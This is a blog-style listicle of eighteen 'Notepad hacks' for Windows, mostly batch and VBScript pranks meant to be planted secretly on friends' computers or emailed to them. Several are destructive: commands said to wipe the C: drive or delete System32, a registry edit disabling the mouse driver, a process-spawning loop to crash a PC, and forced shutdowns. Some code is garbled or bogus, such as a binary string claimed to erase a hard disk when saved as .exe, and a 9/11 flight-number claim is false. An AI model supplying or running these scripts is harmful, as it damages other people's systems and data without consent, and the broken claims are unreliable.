
How to Hack Windows with Notepad – 18 Hacks you Need to Try
Notepad Application of Windows OS is so underrated. It’s not just an assertion but the truth. Tell me, how many times you use Notepad or hack code in notepad? And do you use it for any other purpose than typing some random things temporarily? Or do you know of any hacks using notepad?
Today, we have brought some fantastic tips, tricks, and notepad hacks and all that you require is NOTEPAD! And someone to pull a prank on of course. These are merely simple yet effective tricks that you can perform and have fun with. I bet, you didn’t use these types of notepad hacks, well not actually hacks but gruesome pranks that won’t let your friends relieve for some time (Geez, sounds too severe).
So, enough with the chitchat and let’s head on to these fantastic tricks you can do or call them Notepad Hacks. You can also use Notepad++ which works fine for these notepad hacks too.
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Table of contents
- 1. Make a Diary/Log file-
- 2. Make the CD-Drive open continuously
- 3. Turn off any PC with Notepad Virus
- 4. Make a Keyboard’s lights flash like a disco
- 5. Check your antivirus software for its virus detect-ability
- 6. Slow down typing speed of a computer
- 7. Protect a file with password
- 8. Making a message constantly pop up
- 9. Crashing a PC Notepad Hacks
- 10. Delete the contents of C: Drive
- 11. Clear entire hard disk Notepad Hacks
- 12. Turning text into audio
- 13. False error message Notepad hacks
- 14. World Trade Centre attack trick.
- 15. Pressing backspace automatically
- 16. Delete Windows/System32
- 17. Disable mouse controls
- 18. Hit enter continuously Notepad hacks
1. Make a Diary/Log file-
You know, You can maintain a digital diary without using any of the third-party external applications or software. You need just a Notepad as you knew this for sure now. Follow the steps below, and you will be good to go.
Step 1: Open the Notepad from the start menu or command prompt.
Step 2: Type “.LOG” on the first line.
Step 3: Save the file as the name.txt.
Now, whenever you open the file, it will display the date & time so you can write anything you want.
You can use it as your diary and rename it as anything random(Camouflage).
2. Make the CD-Drive open continuously
This is one of the best and annoying as hell pranks. Imagine if you are working on something important and with all the focus you can manage and boom! Your PC’s CD Drive opened. You closed it. It opens again. You close it again, and this annoying process goes on and on. It’s like you always annoy them with your presence and now you can do the same even if you are not there. Isn’t that amazingly funny? Follow the steps below and carry the duty of being your best friend.
Copy the notepad hack code given below in Notepad and save it as “cd.vbs” into your friend’s computer (secretly or he will know) and that’s it.
Code:
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
3. Turn off any PC with Notepad Virus
You heard it right, A Virus! This is one the most popular of all notepad hacks among pranksters which can shut down any PC. Copy and paste the below hack code in Notepad and save it by giving it a “.bat” extension. For example. “openthis.bat.”
Make your friend open this file on his/her computer and boom! PC turned off! There will be a message displayed on the screen which you can customize as given below. I recommend some twisted messages for the display like “Beware! We are watching you” or “Found You.” These types of messages will be the ultimate.
Code:
@echo off
Shutdown.exe -s -t 10
cls
msg *write here any slang you can come up with.
4. Make a Keyboard’s lights flash like a disco
Most keyboards have three lights: CAPS lock light, NUM lock light, and SCROLL lock light. This trick will make these lights flash like a disco. Not the colorful one but random blinking which will surely freak the victim out like he is hacked or something, but it will be worth it.
Copy and paste the hack code into Notepad and save it as “disco.vbs.”
Code:
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop
5. Check your antivirus software for its virus detect-ability
Many antivirus companies claim that they provide the most effective antivirus software which can dig deep into your computer and remove nasty viruses.
Some may be effective while some may not. But, you can find out whether their claims are valid or not with this simple trick. Copy and paste the below code into your notepad and save it as “virus.exe.” Don’t worry, this is not a virus, but it looks like one! Then, perform a virus scan from your antivirus software.
If this file is detected, then your antivirus is a good one. Otherwise, you need to start looking for other options. Do try this notepad hack.
The best anti-viruses are paid in the market right now so prefer them over free ones. This is very useful and positive of all the notepad hacks.
Code:
X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
6. Slow down typing speed of a computer
We’re back to pranks, and this is quite an interesting one. This trick will slow down the typing speed of a computer drastically! Now typing speed is the computer is pretty accurate to your speed but mess it up and see the demon inside the person.
Eager to try? Copy and paste the below hack code in Notepad and save it as “anyname.vbs” in the target computer.
Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject (“WScript.Shell”)
WshShell.Run “notepad.”
WScript.Sleep 100
WshShell.AppActivate notepad“”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
7. Protect a file with password
There are some personal files in your PC that you want to keep private. And you probably use the third-party application for that, but what if I tell you, you don’t need any of that? This Notepad hack can protect a file from access with the help of a password. Yes, no third-party software, only a few lines of code. Sounds cool right?
Copy and paste the below hack code into Notepad and save the file with “.bat” extension.
Code:
title Folder Private
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock the folder
set/p “pass=>”
if NOT %pass%== techmaniya.com goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End
8. Making a message constantly pop up
It looks like Notepad has lots of pranks hidden underneath it, and here’s another one. By using this prank, you can make a message constantly pop up, definitely adding annoyance to the user. Copy and paste the hack code below into notepad and save it as “message.bat” into the target computer. When opened it will keep displaying messages constantly.
Code:
@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN
9. Crashing a PC Notepad Hacks
You can crash a PC by making the computer open multiple notepads just with the help of some lines of code. Copy and paste the below hack code into notepad and save it as “unlimitednotepad.bat.” You can send this file as an e-mail attachment to anybody you want to piss off.
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
10. Delete the contents of C: Drive
Want to take revenge in a hacker style? This trick is for you. Copy and paste this below hack code and save as anything but with a “.bat” extension. When this file is opened in any PC, it wipes off entire C: Drive.
Code:
@Echo off
Del C:\ *.* |y
11. Clear entire hard disk Notepad Hacks
If Notepad can wipe off entire C: Drive, could it be possible it can wipe off an entire hard disk? The answer is Yes. Below is the hack code for doing that. Make sure to give the file a “.exe” extension after copying the below code into Notepad. As soon as the file is opened, the entire hard-disk will be wiped off.
Code:
01100110011011110111001001101101011000010111010000 100000011000110011101001011100 0010000000101111010100010010111101011000
12. Turning text into audio
This trick can make Notepad your text-to-speech converter. The text entered in the code will be converted into speech. Copy and paste the below hack code into Notepad and save it as “textaudio.vbs.” When you open that file, the text you wrote will be converted into a speech which you can hear.
Code:
Dim message, sapi message=InputBox(“Enter your text for conversion–Technologers”,”Hover pc Hacks Text-To-Audio Converter”) Set sapi=CreateObject(“sapi.spvoice”) sapi.Speak message
13. False error message Notepad hacks
Another prank to piss your friends, this trick can make an error message pop-up on the screen out of nowhere. You can add any text into it and its done. Save the file as “error.vbs” after you’ve done copying the code.
Code:
X=Msgbox(“Put your Message Here”,0+16,”Put Title Here”)
14. World Trade Centre attack trick.
Everyone knows the incident of 9/11 happened in the USA. The flight number Q33NY was off the airplane that crashed into those twin towers. In this trick, you have to type “Q33NY” in Notepad, set font to wingdings and font size to 72. You will see some fantastic graphics.
15. Pressing backspace automatically
In this trick, you can hack the backspace of any computer which makes it unable to type anything. For this, copy and paste the below hack code. This will ensure that the user cannot type anything.
Code:
MsgBox “Backspace again and again and AGAIN”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
16. Delete Windows/System32
Here is another prank for your beloved friends. This one is rather a nasty one, don’t recommend it but you should know it. By using this trick, you can delete any computer’s System32 folder automatically. Copy and paste the below code in Notepad and save it as “erase.bat” and that’s it. The system will crash so do use caution
Code:
EL C:\WINDOWS\SYSTEM32\*.*/Q
17. Disable mouse controls
It looks like Notepad has got plenty of pranks upon its sleeve. Copy and paste the hack below code and give any name to it using a “.bat” instruction. This will disable the mouse completely. You have been warned.
Code:
rem Disable Mouse
set key=”HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass”
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
18. Hit enter continuously Notepad hacks
This trick will keep sending uncountable enter commands to the computer. Copy and paste the below hack code and save it using “.vbs” extension.
Code:
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
These are some of the most amazing notepad hacks you can perform using notepad. Hope you were able to learn some amazing notepad hacks from this article. Do share the article with your friends.
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